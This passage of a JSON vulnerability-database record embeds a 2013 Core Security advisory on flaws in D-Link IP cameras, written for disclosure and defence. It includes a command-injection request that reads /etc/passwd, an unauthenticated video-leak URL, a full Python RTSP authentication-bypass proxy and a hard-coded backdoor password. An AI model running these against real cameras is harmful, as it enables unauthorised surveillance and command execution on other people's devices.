"exploitabilityScore": 10.0,
"id": "CVE-2013-1602",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "NONE",
"baseScore": 5.0,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 10.0,
"id": "CNVD-2013-04636",
"impactScore": 2.9,
"integrityImpact": "NONE",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N",
"version": "2.0"
}
],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"exploitabilityScore": 3.9,
"id": "CVE-2013-1602",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 1.0,
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Network",
"author": "NVD",
"availabilityImpact": "None",
"baseScore": 7.5,
"baseSeverity": "High",
"confidentialityImpact": "High",
"exploitabilityScore": null,
"id": "CVE-2013-1602",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "None",
"vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2013-1602",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2013-1602",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2013-04636",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201305-029",
"trust": 0.6,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04636"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-029"
},
{
"db": "NVD",
"id": "CVE-2013-1602"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams. plural D-Link The product contains an information disclosure vulnerability.Information may be obtained. There are security vulnerabilities in multiple D-Link webcam products. \nExploiting this issue could allow an unauthenticated attacker to gain access to potentially sensitive information, such as a video stream. *Advisory Information*\n\nTitle: D-Link IP Cameras Multiple Vulnerabilities\nAdvisory ID: CORE-2013-0303\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities\nDate published: 2013-04-29\nDate of last update: 2013-03-29\nVendors contacted: D-Link Corporation\nRelease mode: Coordinated release\n\n2. *Vulnerability Information*\n\nClass: OS command injection [CWE-78], Authentication issues [CWE-287],\nInformation leak through GET request [CWE-598], Authentication issues\n[CWE-287], Use of hard-coded credentials [CWE-798]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,\nCVE-2013-1603\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in D-Link IP cameras [1] that\ncould allow an unauthenticated remote attacker:\n\n 1. [CVE-2013-1599] to execute arbitrary commands from the\nadministration web interface,\n 2. [CVE-2013-1600] to access the video stream via HTTP,\n 3. [CVE-2013-1601] to access the ASCII video stream via image luminance,\n 4. [CVE-2013-1602] to access the video stream via RTSP,\n 5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded\ncredentials. \n\n4. *Vulnerable Packages*\n\nThe following is the list of affected devices and the associated\nfirmware (confirmed by D-Link). Other SKUs are probably affected too,\nbut they were not checked. \n\n[CVE-2013-1599]\n . DCS-3411/3430 - firmware v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1600]\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n\n[CVE-2013-1601] and [CVE-2013-1603]\n . DCS-3411/3430 - v1.02\n . DCS-5605/5635 - v1.01\n . DCS-1100L/1130L - v1.04\n . DCS-1100/1130 - v1.03\n . DCS-1100/1130 - v1.04_US\n . DCS-2102/2121 - v1.05_RU\n . DCS-2102/2121 - v1.06\n . DCS-2102/2121 - v1.06_FR\n . TESCO DCS-2102/2121 - v1.05_TESCO\n . DCS-3410 - v1.02\n . DCS-5230 - v1.02\n . DCS-5230L - v1.02\n . DCS-6410 - v1.00\n . DCS-7410 - v1.00\n . DCS-7510 - v1.00\n . WCS-1100 - v1.02\n\n[CVE-2013-1602]\n . ALL mentioned devices and firmware. \n\n5. *Vendor Information, Solutions and Workarounds*\n\nD-Link announces that all patches are ready and scheduled for posting on\ncorporate web site for all customers [2013-04-25]. Contact D-Link for\nfurther information. \n\n6. *Credits*\n\n[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and\nresearched by Francisco Falcon and Nahuel Riva from Core Exploit Writers\nTeam. \n\n[CVE-2013-1602] was discovered and researched by Martin Rocha from Core\nImpact Pro Team. The PoC was made by Martin Rocha with help of Juan\nCotta from Core QA Team. \n\n[CVE-2013-1603] was discovered and researched by Pablo Santamaria from\nCore Security Consulting Services. \n\nThe publication of this advisory was coordinated by Fernando Miranda\nfrom Core Advisories Team. \n\n7. *Technical Description / Proof of Concept Code*\n\n7.1. *OS Command Injection*\n\n[CVE-2013-1599] A security issue located in \u0027/var/www/cgi-bin/rtpd.cgi\u0027\nallows an unauthenticated remote attacker to execute arbitrary commands\nthrough the camera\u0027s web interface. The OS command injection is due to\nthis code in \u0027rtpd.cgi\u0027:\n\n/-----\necho \"$QUERY_STRING\" | grep -vq \u0027 \u0027 || die \"query string cannot contain\nspaces.\"\n. $conf \u003e /dev/null 2\u003e /dev/null\neval \"$(echo $QUERY_STRING | sed -e \u0027s/\u0026/ /g\u0027)\"\n\n-----/\n The first line of this snippet basically ensures that there are no\nspaces in \u0027$QUERY_STRING\u0027. The last line uses \u0027sed\u0027 to replace\nampersands \u0027\u0026\u0027 with spaces, and then call to the function \u0027eval()\u0027,\nresulting in a typical command injection. For example, in order to execute:\n\n/-----\nuname -a;cat /etc/passwd\n-----/\n the following request can be sent to the camera web interface:\n\n/-----\nhttp://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd\n-----/\n\n\n7.2. *ASCII Video Stream Information Leak*\n\n[CVE-2013-1601] An ASCII output (the image luminance) of the live video\nstream can be accessed by a remote unauthenticated attacker via:\n\n/-----\nhttp://192.168.1.100/md/lums.cgi\n-----/\n The following example is the output of a coffee pot video stream [2]:\n\n/-----\nO O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o\nO O O O O O O O O O O O O O O O O O . o O O o o o o o o o o o o o\nO O O O O O O O O O O O o o O O o . o o o o o o o o o o o o o o\nO O O O O O O O O O O O o o o o . o o o o o o o\nO O O O O O O O O O o . o O O o . o o o o o o\nO O O O O O O O O . o o o o o o\nO O O O O O O O . o o o o o o o o\nO O O O O O O . o O O o . o o o o o o o o o\nO O O O O O o . O O O O O O . o o o o o o o o o\nO O O O O O . O O O O O O O . o o o o o o o o o\nO O O O O O o O O O O O O O . o . o o o o o o o o\nO O O O O O o O O O O O O O . o o o . o o o o o o o o\nO O O O O O o O O O O O O o . o O O o O O . o o o o o o o\nO O O O O O . o O O O O O O o . O O O o O O . o o o o o o\nO O O O O O . O O O O O o . O O o o O O o . o o o o o o\nO O O O O O o O O O O O o . o O O o o O O o . o o o o o\nO O O O O O O O O O O O . o O O o o O O o . o o o o o\nO O O O O O O . o O O O o . o o o O o o O O o . o o o o\nO O O O O O O o . O O O o . o o o O o o O O o . o o o o\nO O O O O O O O . O O O . o o o O o o O O o . o o o o\nO O O O O O O O O O O . o o o O o o O O o . o o o\nO O O O O O O O o o O o o o o o O o o o O o . o o o\nO O O O O O O O O . O o o o o o O o . o O o . o o\nO O O O O O O O O . O o . o o o o O . o O o . o\nO O O O O O O O O o o . o o o o o . o O o . o\nO O O O O O O O O O . o o o . o . o O o . \no O O O O O O O O O . o o o . o . O o . \no o O O O O O O O O o . o o o . o . O o . \no o o O O O O O O O o . o o o . o . O o . \n\n-----/\n\n7.4. *RTSP Authentication Bypass*\n\n[CVE-2013-1602] This vulnerability is triggered because:\n\n 1. Authentication is only present in DESCRIBE requests but not in\nevery subsequent request. \n 2. When the RTSP session is being established, the authentication\nrequest of current session is ignored (a previously stored response is\nused instead). \n\n/-----\nimport sys\nfrom socket import *\nfrom threading import Thread\nimport time, re\n\nLOGGING = 1\n\ndef log(s):\n if LOGGING:\n print \u0027(%s) %s\u0027 % (time.ctime(), s)\n\n\nclass UDPRequestHandler(Thread):\n def __init__(self, data_to_send, recv_addr, dst_addr):\n Thread.__init__(self)\n self.data_to_send = data_to_send\n self.recv_addr = recv_addr\n self.dst_addr = dst_addr\n \n def run(self):\n sender = socket(AF_INET, SOCK_DGRAM)\n sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n sender.sendto(self.data_to_send, self.dst_addr)\n response = sender.recv(1024)\n sender.sendto(response, self.recv_addr)\n sender.close()\n\n\nclass UDPDispatcher(Thread):\n dispatchers = []\n \n def __has_dispatcher_for(self, port):\n return any([d.src_port == port for d in UDPDispatcher.dispatchers])\n \n def __init__(self, src_port, dst_addr):\n Thread.__init__(self)\n if self.__has_dispatcher_for(src_port):\n raise Exception(\u0027There is already a dispatcher for port %d\u0027\n% src_port)\n self.src_port = src_port\n self.dst_addr = dst_addr\n UDPDispatcher.dispatchers.append(self)\n \n def run(self):\n listener = socket(AF_INET, SOCK_DGRAM)\n listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n listener.bind((\u0027\u0027, self.src_port))\n while 1:\n try:\n data, recv_addr = listener.recvfrom(1024)\n if not data: break\n UDPRequestHandler(data, recv_addr, self.dst_addr).start()\n except Exception as e:\n print e\n break \n listener.close()\n UDPDispatcher.dispatchers.remove( self )\n\n\nclass PipeThread(Thread):\n pipes = []\n def __init__(self, source, sink, process_data_callback=lambda x: x):\n Thread.__init__(self)\n self.source = source\n self.sink = sink\n self.process_data_callback = process_data_callback\n PipeThread.pipes.append(self)\n\n def run(self):\n while 1:\n try:\n data = self.source.recv(1024)\n data = self.process_data_callback(data)\n if not data: break\n self.sink.send( data )\n except Exception as e:\n log(e)\n break\n PipeThread.pipes.remove(self)\n\n\nclass TCPTunnel(Thread):\n def __init__(self, src_port, dst_addr, process_data_callback=lambda\nx: x):\n Thread.__init__(self)\n log(\u0027[*] Redirecting: localhost:%s -\u003e %s:%s\u0027 % (src_port,\ndst_addr[0], dst_addr[1]))\n self.dst_addr = dst_addr\n self.process_data_callback = process_data_callback\n # Create TCP listener socket\n self.sock = socket(AF_INET, SOCK_STREAM)\n self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n self.sock.bind((\u0027\u0027, src_port))\n self.sock.listen(5)\n \n def run(self):\n while 1:\n # Wait until a new connection arises\n newsock, address = self.sock.accept()\n # Create forwarder socket\n fwd = socket(AF_INET, SOCK_STREAM)\n fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\n fwd.connect(self.dst_addr)\n # Pipe them!\n PipeThread(newsock, fwd, self.process_data_callback).start()\n PipeThread(fwd, newsock, self.process_data_callback).start()\n\n\nclass Camera():\n def __init__(self, address):\n self.address = address\n def get_describe_data(self):\n return \u0027\u0027\n\n\nclass DLink(Camera):\n # D-Link DCS-2102/1.06-5731\n def __init__(self, address):\n Camera.__init__(self, address)\n def get_describe_data(self):\n return\n\u0027\\x76\\x3d\\x30\\x0d\\x0a\\x6f\\x3d\\x43\\x56\\x2d\\x52\\x54\\x53\\x50\\x48\\x61\\x6e\\x64\\x6c\\x65\\x72\\x20\\x31\\x31\\x32\\x33\\x34\\x31\\x32\\x20\\x30\\x20\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x31\\x31\\x0d\\x0a\\x73\\x3d\\x44\\x43\\x53\\x2d\\x32\\x31\\x30\\x32\\x0d\\x0a\\x63\\x3d\\x49\\x4e\\x20\\x49\\x50\\x34\\x20\\x30\\x2e\\x30\\x2e\\x30\\x2e\\x30\\x0d\\x0a\\x74\\x3d\\x30\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x68\\x61\\x72\\x73\\x65\\x74\\x3a\\x53\\x68\\x69\\x66\\x74\\x5f\\x4a\\x49\\x53\\x0d\\x0a\\x61\\x3d\\x72\\x61\\x6e\\x67\\x65\\x3a\\x6e\\x70\\x74\\x3d\\x6e\\x6f\\x77\\x2d\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x2a\\x0d\\x0a\\x61\\x3d\\x65\\x74\\x61\\x67\\x3a\\x31\\x32\\x33\\x34\\x35\\x36\\x37\\x38\\x39\\x30\\x0d\\x0a\\x6d\\x3d\\x76\\x69\\x64\\x65\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x39\\x36\\x0d\\x0a\\x62\\x3d\\x41\\x53\\x3a\\x31\\x38\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x39\\x36\\x20\\x4d\\x50\\x34\\x56\\x2d\\x45\\x53\\x2f\\x39\\x30\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x31\\x0d\\x0a\\x61\\x3d\\x66\\x6d\\x74\\x70\\x3a\\x39\\x36\\x20\\x70\\x72\\x6f\\x66\\x69\\x6c\\x65\\x2d\\x6c\\x65\\x76\\x65\\x6c\\x2d\\x69\\x64\\x3d\\x31\\x3b\\x63\\x6f\\x6e\\x66\\x69\\x67\\x3d\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x31\\x42\\x35\\x30\\x39\\x30\\x30\\x30\\x30\\x30\\x31\\x30\\x30\\x30\\x30\\x30\\x30\\x30\\x31\\x32\\x30\\x30\\x30\\x43\\x34\\x38\\x38\\x42\\x41\\x39\\x38\\x35\\x31\\x34\\x30\\x34\\x33\\x43\\x31\\x34\\x34\\x33\\x46\\x3b\\x64\\x65\\x63\\x6f\\x64\\x65\\x5f\\x62\\x75\\x66\\x3d\\x37\\x36\\x38\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\\x6d\\x3d\\x61\\x75\\x64\\x69\\x6f\\x20\\x30\\x20\\x52\\x54\\x50\\x2f\\x41\\x56\\x50\\x20\\x30\\x0d\\x0a\\x61\\x3d\\x72\\x74\\x70\\x6d\\x61\\x70\\x3a\\x30\\x20\\x50\\x43\\x4d\\x55\\x2f\\x38\\x30\\x30\\x30\\x0d\\x0a\\x61\\x3d\\x63\\x6f\\x6e\\x74\\x72\\x6f\\x6c\\x3a\\x74\\x72\\x61\\x63\\x6b\\x49\\x44\\x3d\\x32\\x0d\\x0a\\x61\\x3d\\x73\\x65\\x6e\\x64\\x6f\\x6e\\x6c\\x79\\x0d\\x0a\u0027\n\n\nclass RTSPAuthByPasser():\n DESCRIBE_REQ_HEADER = \u0027DESCRIBE rtsp://\u0027\n UNAUTHORIZED_RESPONSE = \u0027RTSP/1.0 401 Unauthorized\u0027\n SERVER_PORT_ARGUMENTS = \u0027server_port=\u0027\n DEFAULT_CSEQ = 1\n DEFAULT_SERVER_PORT_RANGE = \u00275556-5559\u0027\n\n def __init__(self, local_port, camera):\n self.last_describe_req = \u0027\u0027\n self.camera = camera\n self.local_port = local_port\n \n def start(self):\n log(\u0027[!] Starting bypasser\u0027)\n TCPTunnel(self.local_port, self.camera.address,\nself.spoof_rtsp_conn).start()\n \n def spoof_rtsp_conn(self, data):\n if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:\n self.last_describe_req = data\n elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and\nself.last_describe_req:\n log(\u0027[!] Unauthorized response received. Spoofing...\u0027)\n spoofed_describe = self.camera.get_describe_data()\n # Look for the request CSeq\n m = re.search(\u0027.*CSeq:\\\\s*(\\\\d+?)\\r\\n.*\u0027,\nself.last_describe_req)\n cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ\n # Create the response\n data = \u0027RTSP/1.0 200 OK\\r\\n\u0027\n data+= \u0027CSeq: %s\\r\\n\u0027 % cseq\n data+= \u0027Content-Type: application/sdp\\r\\n\u0027\n data+= \u0027Content-Length: %d\\r\\n\u0027 % len(spoofed_describe)\n data+= \u0027\\r\\n\u0027\n # Attach the spoofed describe\n data+= spoofed_describe \n elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:\n # Look for the server RTP ports\n m = re.search(\u0027.*%s\\\\s*(.+?)[;|\\r].*\u0027 %\nRTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)\n ports = m.group(1) if m else\nRTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE\n # For each port in the range create a UDP dispatcher\n begin_port, end_port = map(int, ports.split(\u0027-\u0027))\n for udp_port in xrange(begin_port, end_port + 1):\n try:\n UDPDispatcher(udp_port, (self.camera.address[0],\nudp_port)).start()\n except:\n pass \n return data\n\nif __name__ == \u0027__main__\u0027:\n if len( sys.argv ) \u003e 1:\n listener_port = camera_port = int(sys.argv[1])\n camera_ip = sys.argv[2]\n if len(sys.argv) == 4:\n camera_port = int(sys.argv[3])\n RTSPAuthByPasser(listener_port, DLink((camera_ip,\ncamera_port))).start()\n else:\n print \u0027usage: python %s [local_port] [camera_ip]\n[camera_rtsp_port]\u0027 \n-----/\n\n7.5. *RTSP Hard-Coded Credentials*\n\n[CVE-2013-1603] RTSP service contains hard-coded credentials that\neffectively serve as a backdoor, which allows remote attackers to access\nthe RTSP video stream. \n\n/-----\nusername: (any) \npassword: ?*\n-----/\n\nAs we can see in the following dump, the submitted password is compared\nwith the string \u0027:?*\u0027 (the character \u0027:\u0027 is used for concatenation of\n\u0027username:password\u0027). This code belongs to the binary \u0027rtspd\u0027:\n\n/-----\n.text:00011468 loc_11468 ; Load from Memory\n.text:00011468 LDR R3, [R11,#s2]\n.text:0001146C STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011470 LDR R2, [R11,#var_C0] ; Load from Memory\n.text:00011474 LDR R3, [R11,#var_BC] ; Load from Memory\n.text:00011478 ADD R3, R2, R3 ; Rd = Op1 + Op2\n.text:0001147C SUB R3, R3, #3 ; Rd = Op1 - Op2\n.text:00011480 STR R3, [R11,#var_C0] ; Store to Memory\n.text:00011484 LDR R0, [R11,#var_C0] ; s1\n.text:00011488 LDR R1, =asc_1B060 ; \":?*\" \u003c-------\n.text:0001148C MOV R2, #3 ; n\n.text:00011490 BL strncmp ; Branch with Link\n.text:00011494 MOV R3, R0 ; Rd = Op2\n.text:00011498 CMP R3, #0 ; Set cond. codes on Op1 - Op2\n.text:0001149C BNE loc_114BC ; Branch\n-----/\n\n8. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the D-Link team of the vulnerability. 2013-03-20:\nD-Link team asks for a technical description of the vulnerability. 2013-03-20:\nCore sends a draft advisory with technical details and set the estimated\npublication date of the advisory for May 14th, 2013. 2013-03-20:\nVendor notifies that D-Link Corporation has an unpublished bounty\nprogram for security advisors. The bounty program requires both Core\nSecurity and D-Link to sign a memo of understanding (MoU). 2013-03-25:\nCore notifies that receiving money from vendors may bias the view of the\nreport and rejects the bounty program. 2013-03-29:\nVendor notifies that they hope to close the fix ASAP. 2013-04-08:\nVendor sends the list of vulnerable devices and the associated firmware\nand notifies that they will release patches and release notes on the\nD-Link support forum first. Then, an official public release will be\nannounced (approx. 1 month from forum post to full release). 2013-04-24:\nCore asks for a clarification regarding the D-Link release date and\nnotifies that releasing fixes to a privileged closed group and/or a\nclosed forum or list is unacceptable. 2013-04-25:\nVendor notifies that the patches are ready and scheduled for posting on\nD-Link web site over the next few days. 2013-04-26:\nCore notifies that the advisory is re-scheduled for Monday 29th. 2013-04-29:\nAdvisory CORE-2013-0303 published. \n\n9. *References*\n\n[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras. \n[2]\nhttp://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png. \n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n11. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-1602"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"db": "CNVD",
"id": "CNVD-2013-04636"
},
{
"db": "BID",
"id": "59569"
},
{
"db": "PACKETSTORM",
"id": "121452"
}
],
"trust": 2.52
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-1602",
"trust": 3.4
},
{
"db": "BID",
"id": "59569",
"trust": 2.5
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007133",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2013-04636",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201305-029",
"trust": 0.6
},
{
"db": "PACKETSTORM",
"id": "121452",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04636"
},
{
"db": "BID",
"id": "59569"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-029"
},
{
"db": "NVD",
"id": "CVE-2013-1602"
}
]
},
"id": "VAR-202001-0842",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04636"
}
],
"trust": 1.407887033333333
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"IoT",
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04636"
}
]
},
"last_update_date": "2024-08-14T14:12:01.463000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "Top\u00a0Page",
"trust": 0.8,
"url": "http://www.dlink.lt/en/"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-200",
"trust": 1.0
},
{
"problemtype": "information leak (CWE-200) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"db": "NVD",
"id": "CVE-2013-1602"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"trust": 1.6,
"url": "http://www.securityfocus.com/bid/59569"
},
{
"trust": 1.6,
"url": "https://packetstormsecurity.com/files/cve/cve-2013-1602"
},
{
"trust": 1.6,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1602"
},
{
"trust": 0.6,
"url": "http://seclists.org/fulldisclosure/2013/apr/253"
},
{
"trust": 0.3,
"url": "http://www.dlink.com/"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/md/lums.cgi"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1599"
},
{
"trust": 0.1,
"url": "http://www.dlink.com/us/en/home-solutions/view/network-cameras."
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1600"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1603"
},
{
"trust": 0.1,
"url": "http://192.168.1.100/cgi-bin/rtpd.cgi?uname\u0026-a;cat\u0026/etc/passwd"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1601"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://192.168.1.100/upnp/asf-mp4.asf"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2013-04636"
},
{
"db": "BID",
"id": "59569"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-029"
},
{
"db": "NVD",
"id": "CVE-2013-1602"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2013-04636"
},
{
"db": "BID",
"id": "59569"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007133"
},
{
"db": "PACKETSTORM",
"id": "121452"
},
{
"db": "CNNVD",
"id": "CNNVD-201305-029"
},
{
"db": "NVD",
"id": "CVE-2013-1602"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-05-03T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-04636"
},
{
